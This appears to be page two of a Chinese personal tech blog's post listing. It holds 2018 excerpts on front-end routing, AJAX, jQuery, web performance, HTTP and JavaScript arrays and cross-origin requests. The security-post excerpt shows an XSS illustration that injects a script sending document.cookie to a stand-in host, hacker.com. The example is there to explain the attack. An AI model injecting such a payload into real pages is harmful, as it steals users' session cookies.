code之路
08
12
06
前端路由 前端路由
前端路由简单的说,路由是根据不同的 url 地址展示不同的内容或组件前端路由更多用在单页应用上, 也就是 SPA, 因为单页应用, 基本上都是前后端分离的, 后端自然也就不会给前端提供路由。 主要方案在 html5 的 history
2018-08-06
07
20
AJAX AJAX
AJAX 全称 Asynchronous Javascript And XML,即异步的 JavaScript 和 XML,AJAX 允许以任意形式发送请求并且以任意形式展示。符合如下技术的就叫做 AJAX:使用 XMLHttpReques
2018-07-20
16
jQuery jQuery
实现一个 jQuery 的 API实现一个函数,并判断参数是节点还是选择器,返回一个 nodes(数组形式的对象)让 addClass()可以同时增加几个 className,把 setText 变成 text(既能 getText,又能
2018-07-16
06
10
安全相关 安全相关
安全XSS 攻击举例 div.innerHTML = ( <script>$.get('http://hacker.com?cookie='+document.cookie)</script> ); // 恶意代码就被执行了
2018-06-10
01
Web性能优化 Web性能优化
Web 性能优化想要进行优化必须先要了解一个页面从加载到展现的过程中经历了那些过程找到一篇好文章 从输入 URL 到页面展现中间发生了什么? 浏览器的地址栏输入 URL 并按下回车。我们常见的 URL 是这样的:http://www.bai
2018-06-01
05
18
HTTP HTTP
多看阅读-图解 HTTP Web 使用一种名为 HTTP(HyperText Transfer Protocol,超文本传输协议)的协议作为规范,完成从客户端到服务器端等一系列运作流程。通常使用的网络(包括互联网)是在 TCP/IP 协议
2018-05-18
13
我知道的JS-其他 我知道的JS-其他
其他Map、FlatMap 和 Reducemap 遍历原数组,处理每个元素,返回一个新数组 ["1", "2", "3"].map(parseInt); //返回十进制的数,无法转换为数值则返回 NaN // parseInt('1',
2018-05-13
10
自用UWP应用备份 自用UWP应用备份
UWP用了黑苹果一段时间,但是毕竟是黑苹果,使用体验不够完美.强迫症的我还是回到了 win10,win10 真的越来越好了,从 win8 那条鱼开始基本每个预览版我都更新,也算见证了 win 这几年的变化.备份一下自己常用的 uwp 应用,
2018-05-10
10
我知道的JS-跨域 我知道的JS-跨域
跨域同源策略只有协议+端口+域名完全相同才允许发 AJAX 请求所以有时候我们需要跨域 JSONP请求方创建 script,src 指向响应方,同时传一个查询参数?callbackName=xxx响应方根据查询参数 callbackName
2018-05-10
04
22
我知道的JS-BOM 我知道的JS-BOM
BOMBOM(浏览器对象模型)是浏览器本身的一些信息的设置和获取,例如获取浏览器的宽度、高度,设置让浏览器跳转到哪个地址 1、navigator2、screen3、location4、history获取浏览器特性(即俗称的 UA)然后识别客
2018-04-22
20
我知道的JS-数组 我知道的JS-数组
数组数组去重方法真的特别多,好好总结一下 一、利用 ES6 Set 去重(ES6 中最常用) function unique(arr) { return Array.from(new Set(arr)); } var arr = [1,
2018-04-20
2 / 4